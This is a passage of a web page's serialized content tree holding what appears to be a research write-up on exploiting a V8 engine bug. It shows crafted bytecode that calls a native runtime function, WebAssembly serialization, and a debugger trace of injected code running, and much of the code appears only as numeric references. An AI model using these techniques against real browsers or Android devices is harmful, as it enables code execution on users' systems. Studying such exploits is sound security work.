bug",{"type":20,"tag":315,"props":134206,"children":134207},{"style":328},[134208],{"type":26,"value":1049},{"type":20,"tag":315,"props":134210,"children":134211},{"style":635},[134212],{"type":26,"value":132073},{"type":20,"tag":315,"props":134214,"children":134215},{"style":328},[134216],{"type":26,"value":44},{"type":20,"tag":315,"props":134218,"children":134219},{"style":635},[134220],{"type":26,"value":123400},{"type":20,"tag":315,"props":134222,"children":134223},{"style":328},[134224],{"type":26,"value":61},{"type":20,"tag":315,"props":134226,"children":134227},{"style":635},[134228],{"type":26,"value":123400},{"type":20,"tag":315,"props":134230,"children":134231},{"style":328},[134232],{"type":26,"value":2214},{"type":20,"tag":315,"props":134234,"children":134235},{"class":317,"line":571},[134236,134241,134245,134249,134253,134257,134261,134265,134270,134274],{"type":20,"tag":315,"props":134237,"children":134238},{"style":635},[134239],{"type":26,"value":134240}," result",{"type":20,"tag":315,"props":134242,"children":134243},{"style":334},[134244],{"type":26,"value":1395},{"type":20,"tag":315,"props":134246,"children":134247},{"style":328},[134248],{"type":26,"value":463},{"type":20,"tag":315,"props":134250,"children":134251},{"style":525},[134252],{"type":26,"value":31330},{"type":20,"tag":315,"props":134254,"children":134255},{"style":635},[134256],{"type":26,"value":134195},{"type":20,"tag":315,"props":134258,"children":134259},{"style":328},[134260],{"type":26,"value":61},{"type":20,"tag":315,"props":134262,"children":134263},{"style":345},[134264],{"type":26,"value":55818},{"type":20,"tag":315,"props":134266,"children":134267},{"style":328},[134268],{"type":26,"value":134269},"()).",{"type":20,"tag":315,"props":134271,"children":134272},{"style":635},[134273],{"type":26,"value":37568},{"type":20,"tag":315,"props":134275,"children":134276},{"style":328},[134277],{"type":26,"value":1405},{"type":20,"tag":315,"props":134279,"children":134280},{"class":317,"line":2031},[134281,134285,134290,134294,134298,134302,134306,134310,134314,134318],{"type":20,"tag":315,"props":134282,"children":134283},{"style":541},[134284],{"type":26,"value":34604},{"type":20,"tag":315,"props":134286,"children":134287},{"style":635},[134288],{"type":26,"value":134289}," wasm_instance",{"type":20,"tag":315,"props":134291,"children":134292},{"style":334},[134293],{"type":26,"value":1395},{"type":20,"tag":315,"props":134295,"children":134296},{"style":541},[134297],{"type":26,"value":30348},{"type":20,"tag":315,"props":134299,"children":134300},{"style":635},[134301],{"type":26,"value":132056},{"type":20,"tag":315,"props":134303,"children":134304},{"style":328},[134305],{"type":26,"value":61},{"type":20,"tag":315,"props":134307,"children":134308},{"style":345},[134309],{"type":26,"value":132110},{"type":20,"tag":315,"props":134311,"children":134312},{"style":328},[134313],{"type":26,"value":1049},{"type":20,"tag":315,"props":134315,"children":134316},{"style":635},[134317],{"type":26,"value":7480},{"type":20,"tag":315,"props":134319,"children":134320},{"style":328},[134321],{"type":26,"value":2214},{"type":20,"tag":315,"props":134323,"children":134324},{"class":317,"line":2053},[134325,134329,134333,134337,134341,134345,134349,134353,134357],{"type":20,"tag":315,"props":134326,"children":134327},{"style":541},[134328],{"type":26,"value":34604},{"type":20,"tag":315,"props":134330,"children":134331},{"style":635},[134332],{"type":26,"value":31385},{"type":20,"tag":315,"props":134334,"children":134335},{"style":334},[134336],{"type":26,"value":1395},{"type":20,"tag":315,"props":134338,"children":134339},{"style":635},[134340],{"type":26,"value":134289},{"type":20,"tag":315,"props":134342,"children":134343},{"style":328},[134344],{"type":26,"value":61},{"type":20,"tag":315,"props":134346,"children":134347},{"style":635},[134348],{"type":26,"value":36302},{"type":20,"tag":315,"props":134350,"children":134351},{"style":328},[134352],{"type":26,"value":61},{"type":20,"tag":315,"props":134354,"children":134355},{"style":635},[134356],{"type":26,"value":132159},{"type":20,"tag":315,"props":134358,"children":134359},{"style":328},[134360],{"type":26,"value":1405},{"type":20,"tag":315,"props":134362,"children":134363},{"class":317,"line":2061},[134364,134369],{"type":20,"tag":315,"props":134365,"children":134366},{"style":345},[134367],{"type":26,"value":134368}," f",{"type":20,"tag":315,"props":134370,"children":134371},{"style":328},[134372],{"type":26,"value":568},{"type":20,"tag":315,"props":134374,"children":134375},{"class":317,"line":2070},[134376],{"type":20,"tag":315,"props":134377,"children":134378},{"style":328},[134379],{"type":26,"value":100243},{"type":20,"tag":29,"props":134381,"children":134382},{},[134383],{"type":26,"value":134384},"Running this in a debugger shows the expected breakpoint:",{"type":20,"tag":305,"props":134386,"children":134388},{"code":134387},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[134389],{"type":20,"tag":119,"props":134390,"children":134391},{"__ignoreMap":7},[134392],{"type":26,"value":134387},{"type":20,"tag":219,"props":134394,"children":134396},{"id":134395},"porting-to-android",[134397],{"type":26,"value":134398},"Porting to Android",{"type":20,"tag":29,"props":134400,"children":134401},{},[134402,134404,134409,134411,134416,134418,134423,134425,134431],{"type":26,"value":134403},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":20,"tag":119,"props":134405,"children":134407},{"className":134406},[],[134408],{"type":26,"value":131188},{"type":26,"value":134410}," fails. We cross-compiled ",{"type":20,"tag":119,"props":134412,"children":134414},{"className":134413},[],[134415],{"type":26,"value":130347},{"type":26,"value":134417}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":20,"tag":119,"props":134419,"children":134421},{"className":134420},[],[134422],{"type":26,"value":131188},{"type":26,"value":134424}," returned ",{"type":20,"tag":119,"props":134426,"children":134428},{"className":134427},[],[134429],{"type":26,"value":134430},"undefined",{"type":26,"value":61},{"type":20,"tag":29,"props":134433,"children":134434},{},[134435,134437,134442,134444,134449],{"type":26,"value":134436},"Instead, we modified the bytecode to call ",{"type":20,"tag":119,"props":134438,"children":134440},{"className":134439},[],[134441],{"type":26,"value":131214},{"type":26,"value":134443}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":20,"tag":119,"props":134445,"children":134447},{"className":134446},[],[134448],{"type":26,"value":131188},{"type":26,"value":61},{"type":20,"tag":305,"props":134451,"children":134453},{"code":134452,"language":34031,"meta":7,"className":34029,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[134454],{"type":20,"tag":119,"props":134455,"children":134456},{"__ignoreMap":7},[134457,134468,134512,134532,134548,134571,134598,134613],{"type":20,"tag":315,"props":134458,"children":134459},{"class":317,"line":318},[134460,134464],{"type":20,"tag":315,"props":134461,"children":134462},{"style":525},[134463],{"type":26,"value":46582},{"type":20,"tag":315,"props":134465,"children":134466},{"style":328},[134467],{"type":26,"value":1092},{"type":20,"tag":315,"props":134469,"children":134470},{"class":317,"line":356},[134471,134475,134479,134483,134487,134491,134495,134500,134504,134508],{"type":20,"tag":315,"props":134472,"children":134473},{"style":635},[134474],{"type":26,"value":131455},{"type":20,"tag":315,"props":134476,"children":134477},{"style":328},[134478],{"type":26,"value":74876},{"type":20,"tag":315,"props":134480,"children":134481},{"style":2652},[134482],{"type":26,"value":131464},{"type":20,"tag":315,"props":134484,"children":134485},{"style":328},[134486],{"type":26,"value":61},{"type":20,"tag":315,"props":134488,"children":134489},{"style":345},[134490],{"type":26,"value":131473},{"type":20,"tag":315,"props":134492,"children":134493},{"style":328},[134494],{"type":26,"value":1049},{"type":20,"tag":315,"props":134496,"children":134497},{"style":765},[134498],{"type":26,"value":134499},"0x059301",{"type":20,"tag":315,"props":134501,"children":134502},{"style":334},[134503],{"type":26,"value":49507},{"type":20,"tag":315,"props":134505,"children":134506},{"style":765},[134507],{"type":26,"value":2916},{"type":20,"tag":315,"props":134509,"children":134510},{"style":328},[134511],{"type":26,"value":131495},{"type":20,"tag":315,"props":134513,"children":134514},{"class":317,"line":365},[134515,134519,134523,134528],{"type":20,"tag":315,"props":134516,"children":134517},{"style":635},[134518],{"type":26,"value":131503},{"type":20,"tag":315,"props":134520,"children":134521},{"style":334},[134522],{"type":26,"value":7301},{"type":20,"tag":315,"props":134524,"children":134525},{"style":765},[134526],{"type":26,"value":134527}," 0x03027a6c",{"type":20,"tag":315,"props":134529,"children":134530},{"style":328},[134531],{"type":26,"value":1405},{"type":20,"tag":315,"props":134533,"children":134534},{"class":317,"line":374},[134535,134539,134544],{"type":20,"tag":315,"props":134536,"children":134537},{"style":525},[134538],{"type":26,"value":33617},{"type":20,"tag":315,"props":134540,"children":134541},{"style":765},[134542],{"type":26,"value":134543}," 0x393e71a",{"type":20,"tag":315,"props":134545,"children":134546},{"style":328},[134547],{"type":26,"value":1405},{"type":20,"tag":315,"props":134549,"children":134550},{"class":317,"line":383},[134551,134555,134559,134563,134567],{"type":20,"tag":315,"props":134552,"children":134553},{"style":328},[134554],{"type":26,"value":1082},{"type":20,"tag":315,"props":134556,"children":134557},{"style":525},[134558],{"type":26,"value":46662},{"type":20,"tag":315,"props":134560,"children":134561},{"style":328},[134562],{"type":26,"value":463},{"type":20,"tag":315,"props":134564,"children":134565},{"style":635},[134566],{"type":26,"value":49706},{"type":20,"tag":315,"props":134568,"children":134569},{"style":328},[134570],{"type":26,"value":549},{"type":20,"tag":315,"props":134572,"children":134573},{"class":317,"line":407},[134574,134578,134582,134586,134590,134594],{"type":20,"tag":315,"props":134575,"children":134576},{"style":635},[134577],{"type":26,"value":100202},{"type":20,"tag":315,"props":134579,"children":134580},{"style":328},[134581],{"type":26,"value":61},{"type":20,"tag":315,"props":134583,"children":134584},{"style":345},[134585],{"type":26,"value":100211},{"type":20,"tag":315,"props":134587,"children":134588},{"style":328},[134589],{"type":26,"value":1049},{"type":20,"tag":315,"props":134591,"children":134592},{"style":2652},[134593],{"type":26,"value":131579},{"type":20,"tag":315,"props":134595,"children":134596},{"style":328},[134597],{"type":26,"value":2214},{"type":20,"tag":315,"props":134599,"children":134600},{"class":317,"line":421},[134601,134605,134609],{"type":20,"tag":315,"props":134602,"children":134603},{"style":525},[134604],{"type":26,"value":131591},{"type":20,"tag":315,"props":134606,"children":134607},{"style":635},[134608],{"type":26,"value":131596},{"type":20,"tag":315,"props":134610,"children":134611},{"style":328},[134612],{"type":26,"value":1405},{"type":20,"tag":315,"props":134614,"children":134615},{"class":317,"line":430},[134616],{"type":20,"tag":315,"props":134617,"children":134618},{"style":328},[134619],{"type":26,"value":577},{"type":20,"tag":29,"props":134621,"children":134622},{},[134623,134625,134631,134633,134639,134641,134647,134649,134654,134656,134662,134664,134669,134670,134676],{"type":26,"value":134624},"Here, ",{"type":20,"tag":119,"props":134626,"children":134628},{"className":134627},[],[134629],{"type":26,"value":134630},"a1 + 0x03027a6c",{"type":26,"value":134632}," generates the bytes ",{"type":20,"tag":119,"props":134634,"children":134636},{"className":134635},[],[134637],{"type":26,"value":134638},"01 4b 6c 7a 02 03",{"type":26,"value":134640},", where ",{"type":20,"tag":119,"props":134642,"children":134644},{"className":134643},[],[134645],{"type":26,"value":134646},"0x6c",{"type":26,"value":134648}," is the ",{"type":20,"tag":119,"props":134650,"children":134652},{"className":134651},[],[134653],{"type":26,"value":131172},{"type":26,"value":134655}," opcode, ",{"type":20,"tag":119,"props":134657,"children":134659},{"className":134658},[],[134660],{"type":26,"value":134661},"0x027a",{"type":26,"value":134663}," is the function ID of ",{"type":20,"tag":119,"props":134665,"children":134667},{"className":134666},[],[134668],{"type":26,"value":131214},{"type":26,"value":4882},{"type":20,"tag":119,"props":134671,"children":134673},{"className":134672},[],[134674],{"type":26,"value":134675},"0x03",{"type":26,"value":134677}," is the register index holding its first argument.",{"type":20,"tag":29,"props":134679,"children":134680},{},[134681,134683,134688,134689,134694,134696,134701],{"type":26,"value":134682},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":20,"tag":119,"props":134684,"children":134686},{"className":134685},[],[134687],{"type":26,"value":131214},{"type":26,"value":9392},{"type":20,"tag":119,"props":134690,"children":134692},{"className":134691},[],[134693],{"type":26,"value":132182},{"type":26,"value":134695},". To avoid patching the bytecode again to invoke ",{"type":20,"tag":119,"props":134697,"children":134699},{"className":134698},[],[134700],{"type":26,"value":132182},{"type":26,"value":134702},", we can force Turbofan to compile the target function like this:",{"type":20,"tag":305,"props":134704,"children":134706},{"code":134705,"language":34031,"meta":7,"className":34029,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[134707],{"type":20,"tag":119,"props":134708,"children":134709},{"__ignoreMap":7},[134710,134718,134778,134790],{"type":20,"tag":315,"props":134711,"children":134712},{"class":317,"line":318},[134713],{"type":20,"tag":315,"props":134714,"children":134715},{"style":1071},[134716],{"type":26,"value":134717},"// %WasmTierUpFunction(func);\n",{"type":20,"tag":315,"props":134719,"children":134720},{"class":317,"line":356},[134721,134725,134729,134733,134737,134741,134745,134749,134753,134757,134762,134766,134770,134774],{"type":20,"tag":315,"props":134722,"children":134723},{"style":525},[134724],{"type":26,"value":1774},{"type":20,"tag":315,"props":134726,"children":134727},{"style":328},[134728],{"type":26,"value":463},{"type":20,"tag":315,"props":134730,"children":134731},{"style":541},[134732],{"type":26,"value":10188},{"type":20,"tag":315,"props":134734,"children":134735},{"style":635},[134736],{"type":26,"value":1779},{"type":20,"tag":315,"props":134738,"children":134739},{"style":334},[134740],{"type":26,"value":1395},{"type":20,"tag":315,"props":134742,"children":134743},{"style":765},[134744],{"type":26,"value":985},{"type":20,"tag":315,"props":134746,"children":134747},{"style":328},[134748],{"type":26,"value":15629},{"type":20,"tag":315,"props":134750,"children":134751},{"style":635},[134752],{"type":26,"value":2122},{"type":20,"tag":315,"props":134754,"children":134755},{"style":334},[134756],{"type":26,"value":7115},{"type":20,"tag":315,"props":134758,"children":134759},{"style":765},[134760],{"type":26,"value":134761}," 0x100000",{"type":20,"tag":315,"props":134763,"children":134764},{"style":328},[134765],{"type":26,"value":15629},{"type":20,"tag":315,"props":134767,"children":134768},{"style":635},[134769],{"type":26,"value":2122},{"type":20,"tag":315,"props":134771,"children":134772},{"style":334},[134773],{"type":26,"value":49521},{"type":20,"tag":315,"props":134775,"children":134776},{"style":328},[134777],{"type":26,"value":549},{"type":20,"tag":315,"props":134779,"children":134780},{"class":317,"line":365},[134781,134786],{"type":20,"tag":315,"props":134782,"children":134783},{"style":345},[134784],{"type":26,"value":134785}," func",{"type":20,"tag":315,"props":134787,"children":134788},{"style":328},[134789],{"type":26,"value":568},{"type":20,"tag":315,"props":134791,"children":134792},{"class":317,"line":374},[134793],{"type":20,"tag":315,"props":134794,"children":134795},{"style":328},[134796],{"type":26,"value":577},{"type":20,"tag":29,"props":134798,"children":134799},{},[134800],{"type":26,"value":134801},"Finally, running this code on the device:",{"type":20,"tag":305,"props":134803,"children":134805},{"code":134804,"language":34031,"meta":7,"className":34029,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[134806],{"type":20,"tag":119,"props":134807,"children":134808},{"__ignoreMap":7},[134809,134832,134860,135079,135146,135153,135196,135239,135278,135285,135293,135353,135365,135372,135379,135410,135453,135480,135487,135523,135586],{"type":20,"tag":315,"props":134810,"children":134811},{"class":317,"line":318},[134812,134816,134820,134824,134828],{"type":20,"tag":315,"props":134813,"children":134814},{"style":328},[134815],{"type":26,"value":1049},{"type":20,"tag":315,"props":134817,"children":134818},{"style":541},[134819],{"type":26,"value":34561},{"type":20,"tag":315,"props":134821,"children":134822},{"style":328},[134823],{"type":26,"value":38113},{"type":20,"tag":315,"props":134825,"children":134826},{"style":541},[134827],{"type":26,"value":13222},{"type":20,"tag":315,"props":134829,"children":134830},{"style":328},[134831],{"type":26,"value":1092},{"type":20,"tag":315,"props":134833,"children":134834},{"class":317,"line":356},[134835,134840,134844,134848,134852,134856],{"type":20,"tag":315,"props":134836,"children":134837},{"style":541},[134838],{"type":26,"value":134839}," var",{"type":20,"tag":315,"props":134841,"children":134842},{"style":635},[134843],{"type":26,"value":131712},{"type":20,"tag":315,"props":134845,"children":134846},{"style":334},[134847],{"type":26,"value":1395},{"type":20,"tag":315,"props":134849,"children":134850},{"style":541},[134851],{"type":26,"value":30348},{"type":20,"tag":315,"props":134853,"children":134854},{"style":345},[134855],{"type":26,"value":131725},{"type":20,"tag":315,"props":134857,"children":134858},{"style":328},[134859],{"type":26,"value":131730},{"type":20,"tag":315,"props":134861,"children":134862},{"class":317,"line":365},[134863,134867,134871,134875,134879,134883,134887,134891,134895,134899,134903,134907,134911,134915,134919,134923,134927,134931,134935,134939,134943,134947,134951,134955,134959,134963,134967,134971,134975,134979,134983,134987,134991,134995,134999,135003,135007,135011,135015,135019,135023,135027,135031,135035,135039,135043,135047,135051,135055,135059,135063,135067,135071,135075],{"type":20,"tag":315,"props":134864,"children":134865},{"style":765},[134866],{"type":26,"value":132455},{"type":20,"tag":315,"props":134868,"children":134869},{"style":328},[134870],{"type":26,"value":44},{"type":20,"tag":315,"props":134872,"children":134873},{"style":765},[134874],{"type":26,"value":131747},{"type":20,"tag":315,"props":134876,"children":134877},{"style":328},[134878],{"type":26,"value":44},{"type":20,"tag":315,"props":134880,"children":134881},{"style":765},[134882],{"type":26,"value":131756},{"type":20,"tag":315,"props":134884,"children":134885},{"style":328},[134886],{"type":26,"value":44},{"type":20,"tag":315,"props":134888,"children":134889},{"style":765},[134890],{"type":26,"value":131765},{"type":20,"tag":315,"props":134892,"children":134893},{"style":328},[134894],{"type":26,"value":44},{"type":20,"tag":315,"props":134896,"children":134897},{"style":765},[134898],{"type":26,"value":2406},{"type":20,"tag":315,"props":134900,"children":134901},{"style":328},[134902],{"type":26,"value":44},{"type":20,"tag":315,"props":134904,"children":134905},{"style":765},[134906],{"type":26,"value":1063},{"type":20,"tag":315,"props":134908,"children":134909},{"style":328},[134910],{"type":26,"value":44},{"type":20,"tag":315,"props":134912,"children":134913},{"style":765},[134914],{"type":26,"value":1063},{"type":20,"tag":315,"props":134916,"children":134917},{"style":328},[134918],{"type":26,"value":44},{"type":20,"tag":315,"props":134920,"children":134921},{"style":765},[134922],{"type":26,"value":1063},{"type":20,"tag":315,"props":134924,"children":134925},{"style":328},[134926],{"type":26,"value":44},{"type":20,"tag":315,"props":134928,"children":134929},{"style":765},[134930],{"type":26,"value":2406},{"type":20,"tag":315,"props":134932,"children":134933},{"style":328},[134934],{"type":26,"value":44},{"type":20,"tag":315,"props":134936,"children":134937},{"style":765},[134938],{"type":26,"value":15931},{"type":20,"tag":315,"props":134940,"children":134941},{"style":328},[134942],{"type":26,"value":44},{"type":20,"tag":315,"props":134944,"children":134945},{"style":765},[134946],{"type":26,"value":2406},{"type":20,"tag":315,"props":134948,"children":134949},{"style":328},[134950],{"type":26,"value":44},{"type":20,"tag":315,"props":134952,"children":134953},{"style":765},[134954],{"type":26,"value":131830},{"type":20,"tag":315,"props":134956,"children":134957},{"style":328},[134958],{"type":26,"value":44},{"type":20,"tag":315,"props":134960,"children":134961},{"style":765},[134962],{"type":26,"value":1063},{"type":20,"tag":315,"props":134964,"children":134965},{"style":328},[134966],{"type":26,"value":44},{"type":20,"tag":315,"props":134968,"children":134969},{"style":765},[134970],{"type":26,"value":1063},{"type":20,"tag":315,"props":134972,"children":134973},{"style":328},[134974],{"type":26,"value":44},{"type":20,"tag":315,"props":134976,"children":134977},{"style":765},[134978],{"type":26,"value":15698},{"type":20,"tag":315,"props":134980,"children":134981},{"style":328},[134982],{"type":26,"value":44},{"type":20,"tag":315,"props":134984,"children":134985},{"style":765},[134986],{"type":26,"value":1504},{"type":20,"tag":315,"props":134988,"children":134989},{"style":328},[134990],{"type":26,"value":44},{"type":20,"tag":315,"props":134992,"children":134993},{"style":765},[134994],{"type":26,"value":2406},{"type":20,"tag":315,"props":134996,"children":134997},{"style":328},[134998],{"type":26,"value":44},{"type":20,"tag":315,"props":135000,"children":135001},{"style":765},[135002],{"type":26,"value":1063},{"type":20,"tag":315,"props":135004,"children":135005},{"style":328},[135006],{"type":26,"value":44},{"type":20,"tag":315,"props":135008,"children":135009},{"style":765},[135010],{"type":26,"value":52923},{"type":20,"tag":315,"props":135012,"children":135013},{"style":328},[135014],{"type":26,"value":44},{"type":20,"tag":315,"props":135016,"children":135017},{"style":765},[135018],{"type":26,"value":54138},{"type":20,"tag":315,"props":135020,"children":135021},{"style":328},[135022],{"type":26,"value":44},{"type":20,"tag":315,"props":135024,"children":135025},{"style":765},[135026],{"type":26,"value":2406},{"type":20,"tag":315,"props":135028,"children":135029},{"style":328},[135030],{"type":26,"value":44},{"type":20,"tag":315,"props":135032,"children":135033},{"style":765},[135034],{"type":26,"value":16511},{"type":20,"tag":315,"props":135036,"children":135037},{"style":328},[135038],{"type":26,"value":44},{"type":20,"tag":315,"props":135040,"children":135041},{"style":765},[135042],{"type":26,"value":131756},{"type":20,"tag":315,"props":135044,"children":135045},{"style":328},[135046],{"type":26,"value":44},{"type":20,"tag":315,"props":135048,"children":135049},{"style":765},[135050],{"type":26,"value":131927},{"type":20,"tag":315,"props":135052,"children":135053},{"style":328},[135054],{"type":26,"value":44},{"type":20,"tag":315,"props":135056,"children":135057},{"style":765},[135058],{"type":26,"value":131936},{"type":20,"tag":315,"props":135060,"children":135061},{"style":328},[135062],{"type":26,"value":44},{"type":20,"tag":315,"props":135064,"children":135065},{"style":765},[135066],{"type":26,"value":131945},{"type":20,"tag":315,"props":135068,"children":135069},{"style":328},[135070],{"type":26,"value":44},{"type":20,"tag":315,"props":135072,"children":135073},{"style":765},[135074],{"type":26,"value":131945},{"type":20,"tag":315,"props":135076,"children":135077},{"style":328},[135078],{"type":26,"value":643},{"type":20,"tag":315,"props":135080,"children":135081},{"class":317,"line":374},[135082,135086,135090,135094,135098,135102,135106,135110,135114,135118,135122,135126,135130,135134,135138,135142],{"type":20,"tag":315,"props":135083,"children":135084},{"style":765},[135085],{"type":26,"value":132455},{"type":20,"tag":315,"props":135087,"children":135088},{"style":328},[135089],{"type":26,"value":44},{"type":20,"tag":315,"props":135091,"children":135092},{"style":765},[135093],{"type":26,"value":1063},{"type":20,"tag":315,"props":135095,"children":135096},{"style":328},[135097],{"type":26,"value":44},{"type":20,"tag":315,"props":135099,"children":135100},{"style":765},[135101],{"type":26,"value":87511},{"type":20,"tag":315,"props":135103,"children":135104},{"style":328},[135105],{"type":26,"value":44},{"type":20,"tag":315,"props":135107,"children":135108},{"style":765},[135109],{"type":26,"value":15931},{"type":20,"tag":315,"props":135111,"children":135112},{"style":328},[135113],{"type":26,"value":44},{"type":20,"tag":315,"props":135115,"children":135116},{"style":765},[135117],{"type":26,"value":2406},{"type":20,"tag":315,"props":135119,"children":135120},{"style":328},[135121],{"type":26,"value":44},{"type":20,"tag":315,"props":135123,"children":135124},{"style":765},[135125],{"type":26,"value":1504},{"type":20,"tag":315,"props":135127,"children":135128},{"style":328},[135129],{"type":26,"value":44},{"type":20,"tag":315,"props":135131,"children":135132},{"style":765},[135133],{"type":26,"value":1063},{"type":20,"tag":315,"props":135135,"children":135136},{"style":328},[135137],{"type":26,"value":44},{"type":20,"tag":315,"props":135139,"children":135140},{"style":765},[135141],{"type":26,"value":132021},{"type":20,"tag":315,"props":135143,"children":135144},{"style":328},[135145],{"type":26,"value":643},{"type":20,"tag":315,"props":135147,"children":135148},{"class":317,"line":383},[135149],{"type":20,"tag":315,"props":135150,"children":135151},{"style":328},[135152],{"type":26,"value":132742},{"type":20,"tag":315,"props":135154,"children":135155},{"class":317,"line":407},[135156,135160,135164,135168,135172,135176,135180,135184,135188,135192],{"type":20,"tag":315,"props":135157,"children":135158},{"style":541},[135159],{"type":26,"value":134839},{"type":20,"tag":315,"props":135161,"children":135162},{"style":635},[135163],{"type":26,"value":69880},{"type":20,"tag":315,"props":135165,"children":135166},{"style":334},[135167],{"type":26,"value":1395},{"type":20,"tag":315,"props":135169,"children":135170},{"style":541},[135171],{"type":26,"value":30348},{"type":20,"tag":315,"props":135173,"children":135174},{"style":635},[135175],{"type":26,"value":132056},{"type":20,"tag":315,"props":135177,"children":135178},{"style":328},[135179],{"type":26,"value":61},{"type":20,"tag":315,"props":135181,"children":135182},{"style":345},[135183],{"type":26,"value":84177},{"type":20,"tag":315,"props":135185,"children":135186},{"style":328},[135187],{"type":26,"value":1049},{"type":20,"tag":315,"props":135189,"children":135190},{"style":635},[135191],{"type":26,"value":132073},{"type":20,"tag":315,"props":135193,"children":135194},{"style":328},[135195],{"type":26,"value":2214},{"type":20,"tag":315,"props":135197,"children":135198},{"class":317,"line":421},[135199,135203,135207,135211,135215,135219,135223,135227,135231,135235],{"type":20,"tag":315,"props":135200,"children":135201},{"style":541},[135202],{"type":26,"value":134839},{"type":20,"tag":315,"props":135204,"children":135205},{"style":635},[135206],{"type":26,"value":132089},{"type":20,"tag":315,"props":135208,"children":135209},{"style":334},[135210],{"type":26,"value":1395},{"type":20,"tag":315,"props":135212,"children":135213},{"style":541},[135214],{"type":26,"value":30348},{"type":20,"tag":315,"props":135216,"children":135217},{"style":635},[135218],{"type":26,"value":132056},{"type":20,"tag":315,"props":135220,"children":135221},{"style":328},[135222],{"type":26,"value":61},{"type":20,"tag":315,"props":135224,"children":135225},{"style":345},[135226],{"type":26,"value":132110},{"type":20,"tag":315,"props":135228,"children":135229},{"style":328},[135230],{"type":26,"value":1049},{"type":20,"tag":315,"props":135232,"children":135233},{"style":635},[135234],{"type":26,"value":132119},{"type":20,"tag":315,"props":135236,"children":135237},{"style":328},[135238],{"type":26,"value":2214},{"type":20,"tag":315,"props":135240,"children":135241},{"class":317,"line":430},[135242,135246,135250,135254,135258,135262,135266,135270,135274],{"type":20,"tag":315,"props":135243,"children":135244},{"style":541},[135245],{"type":26,"value":134839},{"type":20,"tag":315,"props":135247,"children":135248},{"style":635},[135249],{"type":26,"value":78267},{"type":20,"tag":315,"props":135251,"children":135252},{"style":334},[135253],{"type":26,"value":1395},{"type":20,"tag":315,"props":135255,"children":135256},{"style":635},[135257],{"type":26,"value":132089},{"type":20,"tag":315,"props":135259,"children":135260},{"style":328},[135261],{"type":26,"value":61},{"type":20,"tag":315,"props":135263,"children":135264},{"style":635},[135265],{"type":26,"value":36302},{"type":20,"tag":315,"props":135267,"children":135268},{"style":328},[135269],{"type":26,"value":61},{"type":20,"tag":315,"props":135271,"children":135272},{"style":635},[135273],{"type":26,"value":132159},{"type":20,"tag":315,"props":135275,"children":135276},{"style":328},[135277],{"type":26,"value":1405},{"type":20,"tag":315,"props":135279,"children":135280},{"class":317,"line":453},[135281],{"type":20,"tag":315,"props":135282,"children":135283},{"emptyLinePlaceholder":15},[135284],{"type":26,"value":427},{"type":20,"tag":315,"props":135286,"children":135287},{"class":317,"line":486},[135288],{"type":20,"tag":315,"props":135289,"children":135290},{"style":1071},[135291],{"type":26,"value":135292}," // %WasmTierUpFunction(func);\n",{"type":20,"tag":315,"props":135294,"children":135295},{"class":317,"line":499},[135296,135301,135305,135309,135313,135317,135321,135325,135329,135333,135337,135341,135345,135349],{"type":20,"tag":315,"props":135297,"children":135298},{"style":525},[135299],{"type":26,"value":135300}," for",{"type":20,"tag":315,"props":135302,"children":135303},{"style":328},[135304],{"type":26,"value":463},{"type":20,"tag":315,"props":135306,"children":135307},{"style":541},[135308],{"type":26,"value":10188},{"type":20,"tag":315,"props":135310,"children":135311},{"style":635},[135312],{"type":26,"value":1779},{"type":20,"tag":315,"props":135314,"children":135315},{"style":334},[135316],{"type":26,"value":1395},{"type":20,"tag":315,"props":135318,"children":135319},{"style":765},[135320],{"type":26,"value":985},{"type":20,"tag":315,"props":135322,"children":135323},{"style":328},[135324],{"type":26,"value":15629},{"type":20,"tag":315,"props":135326,"children":135327},{"style":635},[135328],{"type":26,"value":2122},{"type":20,"tag":315,"props":135330,"children":135331},{"style":334},[135332],{"type":26,"value":7115},{"type":20,"tag":315,"props":135334,"children":135335},{"style":765},[135336],{"type":26,"value":134761},{"type":20,"tag":315,"props":135338,"children":135339},{"style":328},[135340],{"type":26,"value":15629},{"type":20,"tag":315,"props":135342,"children":135343},{"style":635},[135344],{"type":26,"value":2122},{"type":20,"tag":315,"props":135346,"children":135347},{"style":334},[135348],{"type":26,"value":49521},{"type":20,"tag":315,"props":135350,"children":135351},{"style":328},[135352],{"type":26,"value":549},{"type":20,"tag":315,"props":135354,"children":135355},{"class":317,"line":513},[135356,135361],{"type":20,"tag":315,"props":135357,"children":135358},{"style":345},[135359],{"type":26,"value":135360}," 